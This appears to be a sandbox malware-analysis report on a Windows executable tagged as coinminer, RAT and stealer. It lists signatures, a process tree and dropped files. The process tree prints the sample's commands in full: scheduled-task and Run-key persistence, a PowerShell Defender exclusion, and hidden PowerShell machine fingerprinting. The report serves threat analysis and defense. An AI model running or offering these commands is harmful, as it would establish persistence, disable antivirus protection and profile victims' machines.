Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    28/06/2026, 18:38

General

  • Target
    2026-06-28_db1354379c220276c102132352348c4b_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
  • Size 9.7MB
  • Sample260628-xaeakacs7p
  • SHA256 7256d0e5500f4626c08a9f1a4e5b7ab8727c6867d3ec22f5c40d1bd537d3c211
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 9 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

  • Modifies registry key 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 22 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-06-28_db1354379c220276c102132352348c4b_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-06-28_db1354379c220276c102132352348c4b_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4580
    • C:\ProgramData\Microsoft\Microsoft.exe
      C:\ProgramData\Microsoft\Microsoft.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4268
      • C:\Windows\system32\schtasks.exe
        schtasks /delete /tn LabLoadAgent /f
        3⤵
          PID:6004
        • C:\Windows\system32\schtasks.exe
          schtasks /delete /tn LabLoadAgentBoot /f
          3⤵
            PID:5492
          • C:\Windows\system32\schtasks.exe
            schtasks /delete /tn MicrosoftAgent /f
            3⤵
              PID:5724
            • C:\Windows\system32\schtasks.exe
              schtasks /delete /tn MicrosoftAgentBoot /f
              3⤵
                PID:6080
              • C:\Windows\system32\schtasks.exe
                schtasks /create /tn LabLoadAgent /tr \"C:\ProgramData\Microsoft\Microsoft.exe\" /sc onlogon /rl HIGHEST /f
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:5828
              • C:\Windows\system32\schtasks.exe
                schtasks /create /tn LabLoadAgentBoot /tr \"C:\ProgramData\Microsoft\Microsoft.exe\" /sc onstart /delay 0002:00 /rl HIGHEST /f
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:1404
              • C:\Windows\system32\reg.exe
                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v LabLoadAgent /t REG_SZ /d \"C:\ProgramData\Microsoft\Microsoft.exe\" /f
                3⤵
                • Adds Run key to start application
                • Modifies registry key
                PID:1264
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -NoProfile -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft' -ErrorAction Stop; exit 0 } catch { exit 1 }"
                3⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:1612
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command " $os = Get-CimInstance Win32_OperatingSystem $cpu = Get-CimInstance Win32_Processor | Select-Object -First 1 $cs = Get-CimInstance Win32_ComputerSystem $disk = Get-CimInstance Win32_LogicalDisk -Filter \"DeviceID='C:'\" -ErrorAction SilentlyContinue $prod = Get-CimInstance Win32_ComputerSystemProduct -ErrorAction SilentlyContinue $obj = [ordered]@{ os = $os.Caption osVersion = $os.Version arch = $env:PROCESSOR_ARCHITECTURE cpuModel = ($cpu.Name -replace '\s+', ' ').Trim() cpuCores = [int]$cs.NumberOfLogicalProcessors ramTotalGb = [math]::Round($os.TotalVisibleMemorySize/1MB, 1) ramFreeGb = [math]::Round($os.FreePhysicalMemory/1MB, 1) diskTotalGb = if ($disk) { [math]::Round($disk.Size/1GB, 1) } else { $null } diskFreeGb = if ($disk) { [math]::Round($disk.FreeSpace/1GB, 1) } else { $null } computerName = $env:COMPUTERNAME machineUuid = if ($prod) { $prod.UUID } else { $null } username = $env:USERNAME collectedAt = (Get-Date).ToUniversalTime().ToString(\"o\") } $obj | ConvertTo-Json -Compress "
                3⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:2768
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -NoProfile -NonInteractive -Command " $prod = Get-CimInstance Win32_ComputerSystemProduct -ErrorAction SilentlyContinue $bios = Get-CimInstance Win32_BIOS -ErrorAction SilentlyContinue $mac = (Get-CimInstance Win32_NetworkAdapter -ErrorAction SilentlyContinue | Where-Object { $_.MACAddress -and $_.PhysicalAdapter } | Select-Object -First 1).MACAddress $parts = @() if ($prod -and $prod.UUID -and $prod.UUID -ne 'UUID') { $parts += $prod.UUID } if ($bios -and $bios.SerialNumber -and $bios.SerialNumber -notmatch '^(Default|To be filled)') { $parts += $bios.SerialNumber } if ($mac) { $parts += $mac } if ($parts.Count -gt 0) { ($parts -join '|'); exit } $env:COMPUTERNAME "
                3⤵
                • Hide Artifacts: Ignore Process Interrupts
                • Suspicious behavior: EnumeratesProcesses
                PID:3312
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -NoProfile -NonInteractive -Command " $prod = Get-CimInstance Win32_ComputerSystemProduct -ErrorAction SilentlyContinue $bios = Get-CimInstance Win32_BIOS -ErrorAction SilentlyContinue $mac = (Get-CimInstance Win32_NetworkAdapter -ErrorAction SilentlyContinue | Where-Object { $_.MACAddress -and $_.PhysicalAdapter } | Select-Object -First 1).MACAddress $parts = @() if ($prod -and $prod.UUID -and $prod.UUID -ne 'UUID') { $parts += $prod.UUID } if ($bios -and $bios.SerialNumber -and $bios.SerialNumber -notmatch '^(Default|To be filled)') { $parts += $bios.SerialNumber } if ($mac) { $parts += $mac } if ($parts.Count -gt 0) { ($parts -join '|'); exit } $env:COMPUTERNAME "
                3⤵
                • Hide Artifacts: Ignore Process Interrupts
                • Suspicious behavior: EnumeratesProcesses
                PID:5664
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -NoProfile -NonInteractive -Command " $prod = Get-CimInstance Win32_ComputerSystemProduct -ErrorAction SilentlyContinue $bios = Get-CimInstance Win32_BIOS -ErrorAction SilentlyContinue $mac = (Get-CimInstance Win32_NetworkAdapter -ErrorAction SilentlyContinue | Where-Object { $_.MACAddress -and $_.PhysicalAdapter } | Select-Object -First 1).MACAddress $parts = @() if ($prod -and $prod.UUID -and $prod.UUID -ne 'UUID') { $parts += $prod.UUID } if ($bios -and $bios.SerialNumber -and $bios.SerialNumber -notmatch '^(Default|To be filled)') { $parts += $bios.SerialNumber } if ($mac) { $parts += $mac } if ($parts.Count -gt 0) { ($parts -join '|'); exit } $env:COMPUTERNAME "
                3⤵
                • Hide Artifacts: Ignore Process Interrupts
                • Suspicious behavior: EnumeratesProcesses
                PID:552
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -NoProfile -NonInteractive -Command " $prod = Get-CimInstance Win32_ComputerSystemProduct -ErrorAction SilentlyContinue $bios = Get-CimInstance Win32_BIOS -ErrorAction SilentlyContinue $mac = (Get-CimInstance Win32_NetworkAdapter -ErrorAction SilentlyContinue | Where-Object { $_.MACAddress -and $_.PhysicalAdapter } | Select-Object -First 1).MACAddress $parts = @() if ($prod -and $prod.UUID -and $prod.UUID -ne 'UUID') { $parts += $prod.UUID } if ($bios -and $bios.SerialNumber -and $bios.SerialNumber -notmatch '^(Default|To be filled)') { $parts += $bios.SerialNumber } if ($mac) { $parts += $mac } if ($parts.Count -gt 0) { ($parts -join '|'); exit } $env:COMPUTERNAME "
                3⤵
                • Hide Artifacts: Ignore Process Interrupts
                • Suspicious behavior: EnumeratesProcesses
                PID:5568
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -NoProfile -NonInteractive -Command " $prod = Get-CimInstance Win32_ComputerSystemProduct -ErrorAction SilentlyContinue $bios = Get-CimInstance Win32_BIOS -ErrorAction SilentlyContinue $mac = (Get-CimInstance Win32_NetworkAdapter -ErrorAction SilentlyContinue | Where-Object { $_.MACAddress -and $_.PhysicalAdapter } | Select-Object -First 1).MACAddress $parts = @() if ($prod -and $prod.UUID -and $prod.UUID -ne 'UUID') { $parts += $prod.UUID } if ($bios -and $bios.SerialNumber -and $bios.SerialNumber -notmatch '^(Default|To be filled)') { $parts += $bios.SerialNumber } if ($mac) { $parts += $mac } if ($parts.Count -gt 0) { ($parts -join '|'); exit } $env:COMPUTERNAME "
                3⤵
                • Hide Artifacts: Ignore Process Interrupts
                • Suspicious behavior: EnumeratesProcesses
                PID:6136
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -NoProfile -NonInteractive -Command " $prod = Get-CimInstance Win32_ComputerSystemProduct -ErrorAction SilentlyContinue $bios = Get-CimInstance Win32_BIOS -ErrorAction SilentlyContinue $mac = (Get-CimInstance Win32_NetworkAdapter -ErrorAction SilentlyContinue | Where-Object { $_.MACAddress -and $_.PhysicalAdapter } | Select-Object -First 1).MACAddress $parts = @() if ($prod -and $prod.UUID -and $prod.UUID -ne 'UUID') { $parts += $prod.UUID } if ($bios -and $bios.SerialNumber -and $bios.SerialNumber -notmatch '^(Default|To be filled)') { $parts += $bios.SerialNumber } if ($mac) { $parts += $mac } if ($parts.Count -gt 0) { ($parts -join '|'); exit } $env:COMPUTERNAME "
                3⤵
                • Hide Artifacts: Ignore Process Interrupts
                • Suspicious behavior: EnumeratesProcesses
                PID:5584
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -NoProfile -NonInteractive -Command " $prod = Get-CimInstance Win32_ComputerSystemProduct -ErrorAction SilentlyContinue $bios = Get-CimInstance Win32_BIOS -ErrorAction SilentlyContinue $mac = (Get-CimInstance Win32_NetworkAdapter -ErrorAction SilentlyContinue | Where-Object { $_.MACAddress -and $_.PhysicalAdapter } | Select-Object -First 1).MACAddress $parts = @() if ($prod -and $prod.UUID -and $prod.UUID -ne 'UUID') { $parts += $prod.UUID } if ($bios -and $bios.SerialNumber -and $bios.SerialNumber -notmatch '^(Default|To be filled)') { $parts += $bios.SerialNumber } if ($mac) { $parts += $mac } if ($parts.Count -gt 0) { ($parts -join '|'); exit } $env:COMPUTERNAME "
                3⤵
                • Hide Artifacts: Ignore Process Interrupts
                • Suspicious behavior: EnumeratesProcesses
                PID:5948
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -NoProfile -NonInteractive -Command " $prod = Get-CimInstance Win32_ComputerSystemProduct -ErrorAction SilentlyContinue $bios = Get-CimInstance Win32_BIOS -ErrorAction SilentlyContinue $mac = (Get-CimInstance Win32_NetworkAdapter -ErrorAction SilentlyContinue | Where-Object { $_.MACAddress -and $_.PhysicalAdapter } | Select-Object -First 1).MACAddress $parts = @() if ($prod -and $prod.UUID -and $prod.UUID -ne 'UUID') { $parts += $prod.UUID } if ($bios -and $bios.SerialNumber -and $bios.SerialNumber -notmatch '^(Default|To be filled)') { $parts += $bios.SerialNumber } if ($mac) { $parts += $mac } if ($parts.Count -gt 0) { ($parts -join '|'); exit } $env:COMPUTERNAME "
                3⤵
                • Hide Artifacts: Ignore Process Interrupts
                • Suspicious behavior: EnumeratesProcesses
                PID:5528
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -NoProfile -NonInteractive -Command " $prod = Get-CimInstance Win32_ComputerSystemProduct -ErrorAction SilentlyContinue $bios = Get-CimInstance Win32_BIOS -ErrorAction SilentlyContinue $mac = (Get-CimInstance Win32_NetworkAdapter -ErrorAction SilentlyContinue | Where-Object { $_.MACAddress -and $_.PhysicalAdapter } | Select-Object -First 1).MACAddress $parts = @() if ($prod -and $prod.UUID -and $prod.UUID -ne 'UUID') { $parts += $prod.UUID } if ($bios -and $bios.SerialNumber -and $bios.SerialNumber -notmatch '^(Default|To be filled)') { $parts += $bios.SerialNumber } if ($mac) { $parts += $mac } if ($parts.Count -gt 0) { ($parts -join '|'); exit } $env:COMPUTERNAME "
                3⤵
                • Hide Artifacts: Ignore Process Interrupts
                • Suspicious behavior: EnumeratesProcesses
                PID:4056
          • C:\ProgramData\Microsoft\Microsoft.exe
            "C:\ProgramData\Microsoft\Microsoft.exe"
            1⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:5316
            • C:\Windows\system32\tasklist.exe
              tasklist /FI "PID eq 4268" /NH
              2⤵
              • Enumerates processes with tasklist
              • Suspicious use of AdjustPrivilegeToken
              PID:3340

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                .lab-instance-id

                • Path C:\ProgramData\Microsoft\.lab-instance-id
                • Size 137B
                • SHA256 b31344e533132dbc24004319bb3c5ae47275bcfe7200d373db0ffe10feac3c24
                • MD5 SHA1 SHA512 TLSH

                Microsoft.exe

                • Path C:\ProgramData\Microsoft\Microsoft.exe
                • Size 9.7MB
                • SHA256 7256d0e5500f4626c08a9f1a4e5b7ab8727c6867d3ec22f5c40d1bd537d3c211
                • MD5 SHA1 SHA512 SSDEEP TLSH

                lab-agent.lock

                • Path C:\ProgramData\Microsoft\lab-agent.lock
                • Size 4B
                • SHA256 4c92b97852bfee9020336fd71929b50c7ca9fc7180ed2f647f925af7b844ed1b
                • MD5 SHA1 SHA512

                lab-agent.log

                • Path C:\ProgramData\Microsoft\lab-agent.log
                • Size 295B
                • SHA256 3dfff3d5ded0ddfb8f1cfe769e3424104db03094e6cbd16f6bb512b96bc50fc2
                • MD5 SHA1 SHA512 TLSH

                server.json

                • Path C:\ProgramData\Microsoft\server.json
                • Size 37B
                • SHA256 4fbd89fdb1e2109b5483673fcfcbb7c683fe776d1fc18654826a9557304ed6fb
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 4d69704d0cc9d05c15efd639b3c17b624d4c0c5cbc7f7e031df37199834bffc9
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 eb7153b04811fea3917af0181842c7a6906bec931d3866bbfc98785c0469bacf
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 ffd127dbe3eaa08f1cdb052928d50e0b616ff84528032a2ebf692f2b7d014661
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 fc89c150e7d4f6fcc3e71ac152a6b0bf503c701c1b4b05f37536c66baf1b6ac9
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 3c508aa9633486f7f601f66d8baba853a6f40bc4748fadc3119285f38def3488
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 27368a2d77a5aa51f9f566bca3092ce95db171d5031798e5d53331cb39689eb3
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 28a80e58a2d7aa2e775d13d7dfdb7487e723fb0dbfb10be81a474cec499dcf38
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 48034bc4dc62498ef7b9583fe448d03e79b12c9ed102a837a86be5d4eb3a24cc
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 17d61b3136f4fde3c23793ba39e866328991aada37ccae3f2b8c4ae34aa4f8c0
                • MD5 SHA1 SHA512 TLSH

                __PSScriptPolicyTest_fax241tk.v5z.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fax241tk.v5z.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH

                memory/1612-10-0x000002314B320000-0x000002314B342000-memory.dmp

                memory/2768-37-0x000001E6707F0000-0x000001E670D18000-memory.dmp

                memory/2768-36-0x000001E6700F0000-0x000001E6702B2000-memory.dmp

                memory/2768-32-0x000001E66FF20000-0x000001E66FF4A000-memory.dmp

                memory/2768-33-0x000001E66FF20000-0x000001E66FF44000-memory.dmp